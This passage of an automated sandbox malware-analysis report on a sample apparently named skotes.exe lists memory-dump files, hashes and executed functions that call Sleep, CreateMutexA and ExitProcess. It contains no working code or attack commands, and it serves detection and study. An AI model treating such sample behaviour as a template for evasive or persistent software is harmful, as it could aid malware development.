Associated: 00000000.00000002.2085105430.000000000041F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085124813.0000000000427000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085144260.000000000042C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085167788.0000000000435000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085190305.0000000000439000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085208975.000000000043A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085227940.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085250212.000000000043D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085273354.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085294799.0000000000446000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085313813.0000000000448000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085346511.0000000000459000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085381060.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085411077.000000000045B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085435557.000000000045D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085454394.000000000045E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085495712.0000000000461000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085518452.0000000000469000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085545611.000000000046C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085545611.000000000048A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085593607.00000000004B6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085630783.00000000004B7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085646864.00000000004B8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085677232.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086034203.00000000004BF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086490431.00000000004CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086854345.00000000004CE000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1b0000_file.jbxd

Yara matches

Similarity

API ID: Xtime_diff_to_millis2_xtime_get
String ID:
API String ID: 531285432-0
Opcode ID: 86b9c591c39766c3d8d0a07448ea420980dac35048a5a90cff747101d5dc5425
Instruction ID: b7a6cbfbeb8ff64247a0d112fb57a56f9c0d0252fd93e2e2faccb921fb71dac0
Opcode Fuzzy Hash: 86b9c591c39766c3d8d0a07448ea420980dac35048a5a90cff747101d5dc5425
Instruction Fuzzy Hash: 19211B71A00219AFDF00EBA4DD86EBEB7B9EF28710F10406DF905A7261DB309D019BA1

Analysis Process: skotes.exePID: 6424, Parent PID: 1068COMMON

Execution Graph

Execution Coverage:	0.9%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	592
Total number of Limit Nodes:	4

Executed Functions

Function 00B9652B Relevance: 1.5, APIs: 1, Instructions: 24
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ExitProcess.KERNEL32(?,?,00B9652A,?,?,?,?,?,00B97661), ref: 00B96566

Memory Dump Source

Source File: 00000002.00000002.2116623909.0000000000B61000.00000040.00000001.01000000.00000008.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000002.00000002.2116587540.0000000000B60000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2116623909.0000000000BC2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2117257464.0000000000BC9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2117372741.0000000000BCB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2117399549.0000000000BD5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2117430187.0000000000BD6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2117583204.0000000000BD7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2118137185.0000000000D2B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2118245550.0000000000D2D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2118432490.0000000000D46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2118432490.0000000000D53000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2118629730.0000000000D5C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2118707317.0000000000D5D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2118743106.0000000000D66000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2118799747.0000000000D68000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2118826351.0000000000D69000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2118901780.0000000000D6D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2118946572.0000000000D81000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2118972299.0000000000D82000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2118992107.0000000000D85000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119017797.0000000000D87000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119042595.0000000000D88000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119066181.0000000000D89000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119100736.0000000000D91000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119134189.0000000000D9C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119164921.0000000000DB4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119192716.0000000000DB8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119223939.0000000000DC8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119253112.0000000000DC9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119278402.0000000000DCA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119305467.0000000000DCF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119331572.0000000000DD7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119361030.0000000000DDC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119388003.0000000000DE5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119418144.0000000000DE9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119449315.0000000000DEA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119481945.0000000000DEC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119509286.0000000000DED000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119532699.0000000000DEE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119556897.0000000000DF6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119580049.0000000000DF8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119613221.0000000000E09000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119642124.0000000000E0A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119677876.0000000000E0B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119705939.0000000000E0D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119733536.0000000000E0E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119762540.0000000000E11000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119788880.0000000000E19000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119812897.0000000000E1C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119812897.0000000000E3A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119873817.0000000000E66000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119899177.0000000000E67000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119923380.0000000000E68000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119947703.0000000000E6D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119973870.0000000000E6F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119999474.0000000000E7D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2120024087.0000000000E7E000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b60000_skotes.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: 1a2fa3fed93e3b8983d2fd6a9186392411f42f154780dcdc9836cde1fd26c1ac
Instruction ID: a275911f1df761928fd50b2797dbf2f8c9ecbc231e33a215c99f6069bc629a39
Opcode Fuzzy Hash: 1a2fa3fed93e3b8983d2fd6a9186392411f42f154780dcdc9836cde1fd26c1ac
Instruction Fuzzy Hash: 15E08C3014210CAACE297B19C80D98D3BA9EB61742F010865FC084A226CB35ED82CA90

Function 00B69BA5 Relevance: 3.1, APIs: 2, Instructions: 140
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00B6A963
CreateMutexA.KERNELBASE(00000000,00000000,00BC3254), ref: 00B6A981

Memory Dump Source

Source File: 00000002.00000002.2116623909.0000000000B61000.00000040.00000001.01000000.00000008.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000002.00000002.2116587540.0000000000B60000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2116623909.0000000000BC2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2117257464.0000000000BC9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2117372741.0000000000BCB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2117399549.0000000000BD5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2117430187.0000000000BD6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2117583204.0000000000BD7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2118137185.0000000000D2B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2118245550.0000000000D2D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2118432490.0000000000D46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2118432490.0000000000D53000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2118629730.0000000000D5C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2118707317.0000000000D5D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2118743106.0000000000D66000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2118799747.0000000000D68000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2118826351.0000000000D69000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2118901780.0000000000D6D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2118946572.0000000000D81000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2118972299.0000000000D82000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2118992107.0000000000D85000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119017797.0000000000D87000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119042595.0000000000D88000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119066181.0000000000D89000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119100736.0000000000D91000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119134189.0000000000D9C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119164921.0000000000DB4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119192716.0000000000DB8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119223939.0000000000DC8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119253112.0000000000DC9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119278402.0000000000DCA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119305467.0000000000DCF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119331572.0000000000DD7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119361030.0000000000DDC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119388003.0000000000DE5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119418144.0000000000DE9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119449315.0000000000DEA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119481945.0000000000DEC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119509286.0000000000DED000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119532699.0000000000DEE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119556897.0000000000DF6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119580049.0000000000DF8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119613221.0000000000E09000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119642124.0000000000E0A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119677876.0000000000E0B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119705939.0000000000E0D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119733536.0000000000E0E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119762540.0000000000E11000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119788880.0000000000E19000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119812897.0000000000E1C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119812897.0000000000E3A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119873817.0000000000E66000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119899177.0000000000E67000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119923380.0000000000E68000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119947703.0000000000E6D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119973870.0000000000E6F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119999474.0000000000E7D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2120024087.0000000000E7E000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b60000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 94c9f9c0b72943d5478e3ca514c415911d1ffc70270ed24608933684d5e4b3bb
Instruction ID: a89d514f398f3175be89adc0071a3c27a33901bcb6a61bca6d89889cc3e7a948
Opcode Fuzzy Hash: 94c9f9c0b72943d5478e3ca514c415911d1ffc70270ed24608933684d5e4b3bb
Instruction Fuzzy Hash: 7D315B317042009BEF08EB78DD89BADBBF6EFC5310F248299E018A73D5C77999808B51

Function 00B69F44 Relevance: 3.1, APIs: 2, Instructions: 137
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00B6A963
CreateMutexA.KERNELBASE(00000000,00000000,00BC3254), ref: 00B6A981

Memory Dump Source

Source File: 00000002.00000002.2116623909.0000000000B61000.00000040.00000001.01000000.00000008.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000002.00000002.2116587540.0000000000B60000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2116623909.0000000000BC2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2117257464.0000000000BC9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2117372741.0000000000BCB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2117399549.0000000000BD5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2117430187.0000000000BD6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2117583204.0000000000BD7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2118137185.0000000000D2B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2118245550.0000000000D2D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2118432490.0000000000D46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2118432490.0000000000D53000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2118629730.0000000000D5C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2118707317.0000000000D5D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2118743106.0000000000D66000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2118799747.0000000000D68000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2118826351.0000000000D69000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2118901780.0000000000D6D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2118946572.0000000000D81000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2118972299.0000000000D82000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2118992107.0000000000D85000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119017797.0000000000D87000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119042595.0000000000D88000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119066181.0000000000D89000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119100736.0000000000D91000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119134189.0000000000D9C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119164921.0000000000DB4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119192716.0000000000DB8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119223939.0000000000DC8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119253112.0000000000DC9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119278402.0000000000DCA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119305467.0000000000DCF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119331572.0000000000DD7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119361030.0000000000DDC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119388003.0000000000DE5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119418144.0000000000DE9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119449315.0000000000DEA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119481945.0000000000DEC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119509286.0000000000DED000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119532699.0000000000DEE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119556897.0000000000DF6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119580049.0000000000DF8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119613221.0000000000E09000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119642124.0000000000E0A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119677876.0000000000E0B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119705939.0000000000E0D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119733536.0000000000E0E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119762540.0000000000E11000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119788880.0000000000E19000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119812897.0000000000E1C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119812897.0000000000E3A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119873817.0000000000E66000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119899177.0000000000E67000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119923380.0000000000E68000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119947703.0000000000E6D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119973870.0000000000E6F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119999474.0000000000E7D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2120024087.0000000000E7E000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b60000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: a8447f845ac6b096a689536e71e3468b7486dd7d11a8c9950c0bfeec15fc3f39
Instruction ID: 40f432fde549ebafcc0faede8b25f389fc33efa4cd9b95b99471833b53a1dff3
Opcode Fuzzy Hash: a8447f845ac6b096a689536e71e3468b7486dd7d11a8c9950c0bfeec15fc3f39
Instruction Fuzzy Hash: 83312C317102049BEF18AB78DC89BADB7F6EF85310F248699E018E72D5C73999848751

Function 00B6A079 Relevance: 3.1, APIs: 2, Instructions: 136
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00B6A963
CreateMutexA.KERNELBASE(00000000,00000000,00BC3254), ref: 00B6A981

Memory Dump Source

Source File: 00000002.00000002.2116623909.0000000000B61000.00000040.00000001.01000000.00000008.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000002.00000002.2116587540.0000000000B60000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2116623909.0000000000BC2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2117257464.0000000000BC9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2117372741.0000000000BCB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2117399549.0000000000BD5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2117430187.0000000000BD6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2117583204.0000000000BD7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2118137185.0000000000D2B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2118245550.0000000000D2D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2118432490.0000000000D46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2118432490.0000000000D53000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2118629730.0000000000D5C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2118707317.0000000000D5D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2118743106.0000000000D66000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2118799747.0000000000D68000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2118826351.0000000000D69000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2118901780.0000000000D6D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2118946572.0000000000D81000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2118972299.0000000000D82000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2118992107.0000000000D85000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119017797.0000000000D87000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119042595.0000000000D88000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119066181.0000000000D89000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119100736.0000000000D91000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119134189.0000000000D9C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119164921.0000000000DB4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119192716.0000000000DB8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119223939.0000000000DC8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119253112.0000000000DC9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119278402.0000000000DCA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119305467.0000000000DCF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119331572.0000000000DD7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119361030.0000000000DDC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119388003.0000000000DE5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119418144.0000000000DE9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119449315.0000000000DEA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119481945.0000000000DEC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119509286.0000000000DED000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119532699.0000000000DEE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119556897.0000000000DF6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119580049.0000000000DF8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119613221.0000000000E09000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119642124.0000000000E0A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119677876.0000000000E0B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119705939.0000000000E0D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119733536.0000000000E0E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119762540.0000000000E11000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119788880.0000000000E19000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119812897.0000000000E1C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119812897.0000000000E3A000.00000040.00000001.01000000.00000008.sdmpDownload File
